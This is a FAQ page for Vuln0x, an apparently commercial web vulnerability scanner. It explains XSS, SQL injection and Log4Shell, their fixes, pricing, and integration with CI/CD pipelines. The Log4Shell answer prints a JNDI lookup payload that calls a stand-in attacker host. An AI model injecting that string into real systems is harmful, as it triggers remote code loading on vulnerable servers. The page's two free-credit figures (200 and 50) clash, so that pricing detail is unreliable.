Question 1

What types of vulnerabilities can it detect?

Accepted Answer

Our 40+ scanners detect missing security headers (HSTS, CSP, X-Frame-Options), SSL/TLS certificate issues, CORS misconfigurations, insecure cookies, exposed files and directories (.env, .git, backups), DNS misconfigurations (SPF, DMARC, DNSSEC), open ports, technology fingerprinting, source map exposure, client-side secret leakage, SQL injection, XSS, command injection, path traversal, SSTI, SSRF, XXE, CSRF, IDOR, privilege escalation, JWT/OAuth flaws, and more.

Question 2

Does it support Next.js and React-specific issues?

Accepted Answer

Yes. We have dedicated scanners specifically designed for Next.js and React applications. These detect source map exposure, client-side secrets leaked in JavaScript bundles, authentication logic flaws, cross-site scripting (XSS), server-side request forgery (SSRF), and other framework-specific vulnerabilities that generic scanners miss.

Question 3

Is my data safe during scanning?

Accepted Answer

We only perform non-invasive scanning — we never attempt to exploit vulnerabilities, modify your application, or store sensitive data. All scan results are encrypted at rest and in transit. You can delete your scan history at any time. We are committed to responsible security testing practices.

Question 4

What are scheduled scans?

Accepted Answer

Scheduled scans let you automate security monitoring. Set up daily, weekly, biweekly, or monthly scans for any verified domain. You will receive webhook notifications and optional email alerts when new vulnerabilities are found or your security score changes.

Question 5

Can I scan multiple URLs at once?

Accepted Answer

Yes. You can use our Projects feature to group multiple domains together and scan them all with a single command. You can also use the bulk scan API endpoint to submit multiple URLs simultaneously. Each URL is scanned independently and results are tracked per target.

Question 6

What is the difference between passive and active scanning?

Accepted Answer

Passive scanners analyze publicly visible information like HTTP headers, SSL certificates, DNS records, and exposed files without sending attack payloads. Active scanners test for exploitable vulnerabilities like SQL injection, XSS, and command injection by sending carefully crafted test payloads. Both types are available on Vuln0x.

Question 7

Do I need to verify my domain before scanning?

Accepted Answer

Yes. Vuln0x requires domain verification to ensure you have authorization to scan a target. You can verify ownership via DNS TXT record or HTML file upload. This prevents unauthorized scanning and ensures responsible use of the platform.

Question 8

Does Vuln0x's XSS scanner test for DOM-based XSS?

Accepted Answer

Yes. The full scan engine uses a headless browser to evaluate the rendered DOM after page load and after common user interactions. This allows detection of DOM-based XSS flaws that never appear in the HTTP response body and are therefore invisible to server-side-only scanners.

Question 9

How do I fix an XSS vulnerability found by the scanner?

Accepted Answer

Each Vuln0x finding includes a remediation guide. The core fix is context-aware output encoding: HTML-encode values written into HTML, JS-encode values written into script blocks, and URL-encode values written into hrefs. Add a strict Content-Security-Policy with nonces or hashes to block execution even if encoding is missed. After applying fixes, re-run the Vuln0x scan to confirm the issue is resolved.

Question 10

Will the SQL injection scanner damage my database?

Accepted Answer

No. Vuln0x uses detection-only payloads that do not modify or delete data. Error-based payloads trigger verbose messages; time-based payloads use short delays to confirm exploitability. No destructive SQL commands (DROP, DELETE, UPDATE) are ever submitted.

Question 11

What is an XSS vulnerability and why is it dangerous?

Accepted Answer

XSS (Cross-Site Scripting) is a vulnerability that lets an attacker inject malicious JavaScript into a web page viewed by other users. Because the script runs under your domain's origin, it can steal session cookies, read sensitive DOM content, redirect users, or log keystrokes — effectively giving the attacker the same access as the logged-in user. OWASP consistently ranks XSS in the top 10 most critical web application risks.

Question 12

How do I test a website for XSS vulnerabilities for free?

Accepted Answer

Enter your website URL into the Vuln0x scanner at the top of this page and click 'Scan free'. The passive check evaluates your Content-Security-Policy and other XSS-mitigating headers instantly. Register for a free account (no credit card required) to unlock the full XSS engine, which sends safe probe payloads into URL parameters, form fields, and JSON bodies, then analyses the reflected output and rendered DOM.

Question 13

What is the difference between reflected, stored, and DOM XSS?

Accepted Answer

Reflected XSS returns a malicious payload in the immediate HTTP response — typically via a crafted URL. Stored XSS saves the payload to the database and serves it to every visitor who loads the infected page. DOM-based XSS never leaves the client: the payload is read from a browser API (like location.hash) and written to a dangerous sink (like innerHTML) entirely in JavaScript. Stored XSS is usually the most severe because it affects all users automatically.

Question 14

What is SQL injection and what can an attacker do with it?

Accepted Answer

SQL injection is a vulnerability where attacker-controlled input is inserted directly into a database query, changing the query's logic. Consequences range from data theft (passwords, emails, payment records) to authentication bypass, data modification, and in severe cases full server compromise if the database account has elevated privileges.

Question 15

How can I check my website for SQL injection for free?

Accepted Answer

Enter your URL in the Vuln0x scanner at the top of this page. The free passive scan checks for information-disclosure signals. Register for a free account to run the full SQL injection engine, which crawls your application and submits error-based, boolean-based, and time-based payloads to all discovered input points — no credit card required.

Question 16

What is the difference between error-based and blind SQL injection?

Accepted Answer

Error-based injection causes the database to return a descriptive error message that reveals schema information. Blind injection receives no error — instead, the attacker infers data from differences in the HTTP response (boolean-based) or from deliberate response delays (time-based). Both are equally dangerous; blind SQLi is simply harder to detect manually, which is why automated scanning is essential.

Question 17

How do I fix SQL injection vulnerabilities?

Accepted Answer

Replace string-concatenated queries with parameterised queries or an ORM. Never pass user input directly into raw query strings. Apply the principle of least privilege to your database account. After making changes, re-run the Vuln0x SQL injection scan to confirm the fix and check that no other endpoints were missed.

Question 18

What is the Log4j vulnerability (Log4Shell)?

Accepted Answer

Log4Shell (CVE-2021-44228) is a critical remote code execution vulnerability in the Apache Log4j 2 logging library. When Log4j 2.0-beta9 through 2.14.1 logs a string containing a JNDI lookup (e.g. ${jndi:ldap://attacker.com/x}), it attempts to contact the remote server and load a Java class, enabling unauthenticated remote code execution. CVSS v3.1 base score is 10.0 — the maximum.

Question 19

How do I test my website for the Log4j vulnerability for free?

Accepted Answer

Enter your website URL in the Vuln0x scanner at the top of this page. The full scan engine (free after registration, no credit card) injects JNDI probe strings into your site's HTTP headers, URL parameters, and POST bodies, then monitors a callback server for responses that confirm the vulnerable lookup was triggered.

Question 20

My application doesn't use Java — can I still be affected by Log4j?

Accepted Answer

If your front-end communicates with any Java-based backend, micro-service, third-party API, or infrastructure component (search engine, logging aggregator, monitoring tool), those components could run vulnerable Log4j versions. Log4Shell can also be exploited against networked appliances and SaaS products that your application integrates with.

Question 21

How does credit-based pricing work?

Accepted Answer

Every new account receives 200 free credits. A full scan costs 10 credits and a full deep scan costs 20 credits. Individual scanner types cost 1-10 credits each depending on complexity. You can purchase additional credits or upgrade to a plan with monthly credit allocations starting at 300 credits/month.

Question 22

Do you offer a free tier?

Accepted Answer

Yes. Every new account receives 50 free credits — enough for 5 full scans or 50 individual scanner runs. No credit card is required to sign up. This lets you evaluate the platform and see exactly what vulnerabilities exist in your applications before committing to a paid plan.

Question 23

Is there a free Nessus alternative for web application scanning?

Accepted Answer

Yes — Vuln0x offers a free tier that allows web-application DAST scanning with no credit card required. It covers XSS, SQL injection, SSRF, XXE, header misconfigurations, and more, returning graded results in under 60 seconds through a browser interface.

Question 24

Is there a free Acunetix alternative for website vulnerability scanning?

Accepted Answer

Yes — Vuln0x offers a free tier that provides DAST scanning with no credit card required. It covers the same core vulnerability classes as Acunetix, including XSS, SQL injection, and security-header checks, with results returned in under 60 seconds through a browser interface.

Question 25

Is there a free Detectify alternative for web vulnerability scanning?

Accepted Answer

Yes — Vuln0x offers a free tier that allows web-application DAST scanning with no credit card required. Results including XSS, SQL injection, header misconfigurations, and other vulnerability checks are returned in under 60 seconds through a browser interface.

Question 26

Is there a free Qualys WAS alternative for web application scanning?

Accepted Answer

Yes — Vuln0x offers a free tier that provides DAST scanning with no credit card required. It covers XSS, SQL injection, SSRF, header misconfigurations, and more, returning graded results in under 60 seconds through a browser interface accessible to any developer.

Question 27

Can I integrate it into my CI/CD pipeline?

Accepted Answer

Absolutely. Our REST API supports both Bearer token and API key authentication. You can trigger scans from GitHub Actions, GitLab CI, Bitbucket Pipelines, Jenkins, or any CI/CD system. SARIF reports integrate directly with GitHub Security tab, and JSON reports are optimized for automated pipelines.

Question 28

Can I integrate Vuln0x into a CI/CD pipeline like Nikto?

Accepted Answer

Yes, and more easily. Vuln0x provides a native CI/CD plugin with a structured JSON result and machine-readable grade. Nikto requires custom scripting to parse its plain-text output into a pass/fail signal.

Question 29

How does Vuln0x compare to ZAP for CI/CD pipelines?

Accepted Answer

ZAP requires a Docker image, custom scan configuration, and output parsing scripts for CI/CD integration. Vuln0x provides a native CI/CD plugin that returns a structured JSON result with a machine-readable grade, enabling automated pass/fail gating with no custom parsing code.

Question 30

How does Vuln0x integrate with CI/CD compared to Acunetix?

Accepted Answer

Vuln0x provides a native CI/CD plugin that reads scan configuration from the web dashboard and returns a structured JSON result with a machine-readable grade. Acunetix CI/CD integration requires API configuration and is typically managed by the security team. Vuln0x's approach is developer-configurable without security-team involvement.

Question 31

Is there a Burp Suite alternative that works without proxy configuration?

Accepted Answer

Yes — Vuln0x is a cloud-based DAST scanner that requires no proxy configuration. Enter a URL in the browser, and Vuln0x performs an automated crawl and vulnerability scan returning graded results in under 60 seconds.

Question 32

How does Vuln0x integrate into CI/CD pipelines compared to Burp Suite Enterprise?

Accepted Answer

Both provide CI/CD integration, but Vuln0x makes it available without enterprise-tier pricing. Vuln0x's native plugin returns a structured JSON grade that enables automated pass/fail gating. Burp Suite Enterprise CI/CD integration requires the higher-cost Enterprise licence.

Question 33

How does Vuln0x's CI/CD integration compare to Detectify's?

Accepted Answer

Both platforms offer CI/CD integration on paid plans. Vuln0x's native plugin returns a structured JSON result with a machine-readable A+–F grade for automated pass/fail gating. The integration is configured through the web dashboard by the development team without requiring enterprise-tier procurement.

Question 34

How does Vuln0x CI/CD integration compare to Qualys WAS?

Accepted Answer

Vuln0x provides a native CI/CD plugin that developers configure through the web dashboard, returning a machine-readable A+–F grade for automated pass/fail gating. Qualys WAS CI/CD integration requires API configuration and is typically managed by the security team. Vuln0x's approach is designed for developer-led adoption.

Question 35

What report formats are available?

Accepted Answer

We support six export formats: SARIF (for GitHub Security tab integration), CSV (for spreadsheet analysis), PDF (professional reports with executive summary), HTML (shareable web reports), Markdown (for documentation), and JSON (structured data for CI/CD pipelines and custom integrations).

Question 36

What Log4j version should we upgrade to?

Accepted Answer

Upgrade to Log4j 2.17.1 or later for Java 8+, 2.12.4 or later for Java 7, or 2.3.2 or later for Java 6. If an immediate upgrade is not possible, set the system property log4j2.formatMsgNoLookups=true as a temporary mitigation, but treat this as a stop-gap — upgrade as soon as possible.

Question 37

Does Vuln0x provide CVSS scores like Nessus?

Accepted Answer

Yes. Each Vuln0x finding includes a severity rating (Critical, High, Medium, Low, Informational) aligned with CVSS scoring, plus an overall scan grade from A+ to F. SARIF and PDF exports include per-finding severity for compliance reporting and integration with security dashboards.

Question 38

Can developers use Vuln0x without going through the security team?

Accepted Answer

Yes. Vuln0x is designed for developer self-service. Any team member can scan their application directly from the browser without purchasing a licence, configuring an on-premise scanner, or requesting approval from a central security function.

Question 39

Can Vuln0x detect subdomain takeover vulnerabilities like Detectify?

Accepted Answer

Vuln0x includes subdomain takeover detection as part of its scanning modules, checking for dangling DNS records pointing to unclaimed cloud services. Detectify's EASM layer extends this with continuous subdomain discovery across the full external estate.

Question 40

Can developers use Vuln0x without going through the security team, unlike Qualys?

Accepted Answer

Yes. Vuln0x is designed for developer self-service. Any team member can scan their application directly from the browser without submitting a security team request, managing licences, or waiting for a scheduled scan window.

Frequently Asked Questions

Scanning & Coverage

Vulnerabilities

Pricing & Credits

API & Integrations

Reports & Compliance

Account & Data